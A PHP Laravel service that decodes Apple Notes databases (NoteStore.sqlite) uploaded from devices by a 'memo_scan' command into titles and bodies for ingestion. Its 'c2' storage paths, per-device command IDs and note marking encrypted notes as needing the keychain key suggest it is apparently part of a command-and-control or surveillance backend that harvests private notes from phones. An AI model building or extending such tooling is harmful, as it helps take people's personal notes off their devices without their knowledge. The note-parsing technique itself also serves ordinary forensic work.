288 lines
9.4 KiB
PHP
288 lines
9.4 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Device;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
/**
|
|
* Decode an assembled Apple Notes NoteStore.sqlite dump into structured
|
|
* note items [{title, body, native_id}] for IngestService::ingestNotes().
|
|
*
|
|
* memo_scan uploads NoteStore.sqlite + -wal + -shm + memo_scan.json per
|
|
* command_id. Chunks are reassembled by DsResultStore before decode() runs.
|
|
* Note bodies live in ZICNOTEDATA.ZDATA as gzip-compressed protobuf; we walk
|
|
* outer.field2 -> Note.field3 -> Document.field2 for the visible text and
|
|
* fall back to the ZSNIPPET column. Encrypted notes surface a placeholder.
|
|
*/
|
|
class DsMemoDecoder
|
|
{
|
|
private const RESULT_BASE = 'c2/ds-results';
|
|
|
|
/**
|
|
* @return array{items: list<array{title:string,body:string,native_id:int|string|null}>, meta: array<string,mixed>}
|
|
*/
|
|
public function decode(Device $device, string $commandId): array
|
|
{
|
|
$dir = self::RESULT_BASE.'/'.$device->device_id.'/'.$commandId;
|
|
$disk = Storage::disk('local');
|
|
$errors = [];
|
|
$items = [];
|
|
$notes = 0;
|
|
$encrypted = 0;
|
|
$dbPath = null;
|
|
|
|
$manifestPath = $dir.'/memo_scan.json';
|
|
if ($disk->exists($manifestPath)) {
|
|
$manifest = json_decode((string) $disk->get($manifestPath), true);
|
|
if (is_array($manifest)) {
|
|
$dbPath = $manifest['db_path'] ?? null;
|
|
}
|
|
}
|
|
|
|
$sqliteRel = $dir.'/NoteStore.sqlite';
|
|
if (! $disk->exists($sqliteRel)) {
|
|
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['NoteStore.sqlite missing under '.$dir])];
|
|
}
|
|
|
|
$work = storage_path('app/c2/memo-work/'.$device->device_id.'/'.$commandId.'_'.uniqid());
|
|
@mkdir($work, 0775, true);
|
|
foreach (['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'] as $f) {
|
|
if ($disk->exists($dir.'/'.$f)) {
|
|
file_put_contents($work.'/'.$f, (string) $disk->get($dir.'/'.$f));
|
|
}
|
|
}
|
|
|
|
try {
|
|
$pdo = new \PDO('sqlite:'.$work.'/NoteStore.sqlite', null, null, [
|
|
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
|
|
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC,
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
$this->cleanup($work);
|
|
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, ['open sqlite: '.$e->getMessage()])];
|
|
}
|
|
|
|
try {
|
|
$noteEnt = $this->entityNumber($pdo, 'ICNote');
|
|
if ($noteEnt === null) {
|
|
$errors[] = 'ICNote entity not found in Z_PRIMARYKEY';
|
|
return ['items' => [], 'meta' => $this->meta($device, $commandId, $dbPath, 0, 0, $errors)];
|
|
}
|
|
|
|
$rows = $pdo->prepare(
|
|
'SELECT n.Z_PK AS pk, n.ZTITLE AS title, n.ZUSERTITLE AS user_title,'
|
|
.' n.ZSNIPPET AS snippet,'
|
|
.' nd.ZDATA AS zdata, nd.ZCRYPTOINITIALIZATIONVECTOR AS iv'
|
|
.' FROM ZICCLOUDSYNCINGOBJECT n'
|
|
.' LEFT JOIN ZICNOTEDATA nd ON nd.ZNOTE = n.Z_PK'
|
|
.' WHERE n.Z_ENT = :ent ORDER BY n.Z_PK'
|
|
);
|
|
$rows->execute([':ent' => $noteEnt]);
|
|
|
|
foreach ($rows as $row) {
|
|
$notes++;
|
|
$item = $this->decodeRow($row);
|
|
if ($item === null) {
|
|
continue;
|
|
}
|
|
if (($item['_encrypted'] ?? false) === true) {
|
|
$encrypted++;
|
|
}
|
|
unset($item['_encrypted']);
|
|
$items[] = $item;
|
|
}
|
|
} catch (\Throwable $e) {
|
|
$errors[] = 'query: '.$e->getMessage();
|
|
} finally {
|
|
$pdo = null;
|
|
$this->cleanup($work);
|
|
}
|
|
|
|
return ['items' => $items, 'meta' => $this->meta($device, $commandId, $dbPath, $notes, $encrypted, $errors)];
|
|
}
|
|
|
|
/** @param array<string,mixed> $row */
|
|
private function decodeRow(array $row): ?array
|
|
{
|
|
$pk = $row['pk'] ?? null;
|
|
$title = $this->str($row['title'] ?? null);
|
|
$userTitle = $this->str($row['user_title'] ?? null);
|
|
$snippet = $this->str($row['snippet'] ?? null);
|
|
$iv = $row['iv'] ?? null;
|
|
$zdata = $row['zdata'] ?? null;
|
|
$nativeId = is_numeric($pk) ? (int) $pk : null;
|
|
|
|
if ($iv !== null && $this->blobLen($iv) > 0) {
|
|
$body = $snippet !== '' ? $snippet : '[加密备忘录 — 需 keychain 密钥]';
|
|
$head = $userTitle !== '' ? $userTitle : $title;
|
|
|
|
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId, '_encrypted' => true];
|
|
}
|
|
|
|
$body = null;
|
|
if ($zdata !== null && $this->blobLen($zdata) > 0) {
|
|
$body = $this->extractBody((string) $zdata);
|
|
}
|
|
// A body that is only object-replacement chars (U+FFFC = embedded
|
|
// table/attachment placeholder) carries no readable text. Fall back
|
|
// to the ZSNIPPET column, which holds Apple's plaintext preview —
|
|
// for a table-only note that's the cell values (e.g. "1 2 3 5").
|
|
if ($body === null || ! $this->hasVisibleText($body)) {
|
|
$body = $snippet;
|
|
}
|
|
$body = $body ?? '';
|
|
$head = $userTitle !== '' ? $userTitle : $title;
|
|
|
|
return ['title' => $head !== '' ? $head : $this->titleFromBody($body), 'body' => $body, 'native_id' => $nativeId];
|
|
}
|
|
|
|
private function extractBody(string $zdata): ?string
|
|
{
|
|
$decoded = @gzdecode($zdata);
|
|
if ($decoded === false) {
|
|
return null;
|
|
}
|
|
$note = $this->pbField($decoded, 2);
|
|
if ($note === null) {
|
|
return null;
|
|
}
|
|
$doc = $this->pbField($note, 3);
|
|
if ($doc === null) {
|
|
return null;
|
|
}
|
|
$body = $this->pbField($doc, 2);
|
|
if ($body === null) {
|
|
return null;
|
|
}
|
|
$body = str_replace(["\r\n", "\r"], "\n", $body);
|
|
$body = preg_replace("/\n{3,}/", "\n\n", $body) ?? $body;
|
|
|
|
return trim($body);
|
|
}
|
|
|
|
private function pbField(string $buf, int $field): ?string
|
|
{
|
|
$i = 0;
|
|
$n = strlen($buf);
|
|
while ($i < $n) {
|
|
$tag = $this->varint($buf, $i, $i);
|
|
if ($tag === null) {
|
|
return null;
|
|
}
|
|
$fnum = $tag >> 3;
|
|
$wtype = $tag & 7;
|
|
if ($wtype === 0) {
|
|
$this->varint($buf, $i, $i);
|
|
} elseif ($wtype === 2) {
|
|
$len = $this->varint($buf, $i, $i);
|
|
if ($len === null || $len < 0 || $i + $len > $n) {
|
|
return null;
|
|
}
|
|
$chunk = substr($buf, $i, (int) $len);
|
|
$i += (int) $len;
|
|
if ($fnum === $field) {
|
|
return $chunk;
|
|
}
|
|
} elseif ($wtype === 5) {
|
|
$i += 4;
|
|
} elseif ($wtype === 1) {
|
|
$i += 8;
|
|
} else {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function varint(string $buf, int $pos, int &$next): ?int
|
|
{
|
|
$val = 0;
|
|
$shift = 0;
|
|
$n = strlen($buf);
|
|
while ($pos < $n) {
|
|
$b = ord($buf[$pos++]);
|
|
$val |= ($b & 0x7f) << $shift;
|
|
if (($b & 0x80) === 0) {
|
|
$next = $pos;
|
|
return $val;
|
|
}
|
|
$shift += 7;
|
|
if ($shift > 63) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function entityNumber(\PDO $pdo, string $name): ?int
|
|
{
|
|
try {
|
|
$st = $pdo->prepare('SELECT Z_ENT FROM Z_PRIMARYKEY WHERE Z_NAME = :n LIMIT 1');
|
|
$st->execute([':n' => $name]);
|
|
$v = $st->fetchColumn();
|
|
return $v === false || $v === null ? null : (int) $v;
|
|
} catch (\Throwable $e) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
private function titleFromBody(string $body): string
|
|
{
|
|
$body = trim($body);
|
|
if ($body === '') {
|
|
return '';
|
|
}
|
|
$firstLine = preg_split('/\n+/', $body, 2)[0] ?? $body;
|
|
return mb_substr(trim($firstLine), 0, 80);
|
|
}
|
|
|
|
/**
|
|
* True when $s has any visible character besides object-replacement
|
|
* (U+FFFC), replacement (U+FFFD) and whitespace.
|
|
*/
|
|
private function hasVisibleText(string $s): bool
|
|
{
|
|
$stripped = preg_replace('/[\x{FFFC}\x{FFFD}\s]/u', '', $s) ?? '';
|
|
|
|
return $stripped !== '';
|
|
}
|
|
|
|
private function str(mixed $v): string
|
|
{
|
|
return is_string($v) ? trim($v) : '';
|
|
}
|
|
|
|
private function blobLen(mixed $v): int
|
|
{
|
|
return is_string($v) ? strlen($v) : 0;
|
|
}
|
|
|
|
/** @param list<string> $errors */
|
|
private function meta(Device $device, string $commandId, ?string $dbPath, int $notes, int $encrypted, array $errors): array
|
|
{
|
|
return [
|
|
'device_key' => $device->device_id,
|
|
'command_id' => $commandId,
|
|
'db_path' => $dbPath,
|
|
'notes' => $notes,
|
|
'encrypted' => $encrypted,
|
|
'errors' => $errors,
|
|
];
|
|
}
|
|
|
|
private function cleanup(string $work): void
|
|
{
|
|
if (! is_dir($work)) {
|
|
return;
|
|
}
|
|
foreach (glob($work.'/*') ?: [] as $f) {
|
|
@unlink($f);
|
|
}
|
|
@rmdir($work);
|
|
@rmdir(dirname($work));
|
|
}
|
|
}
|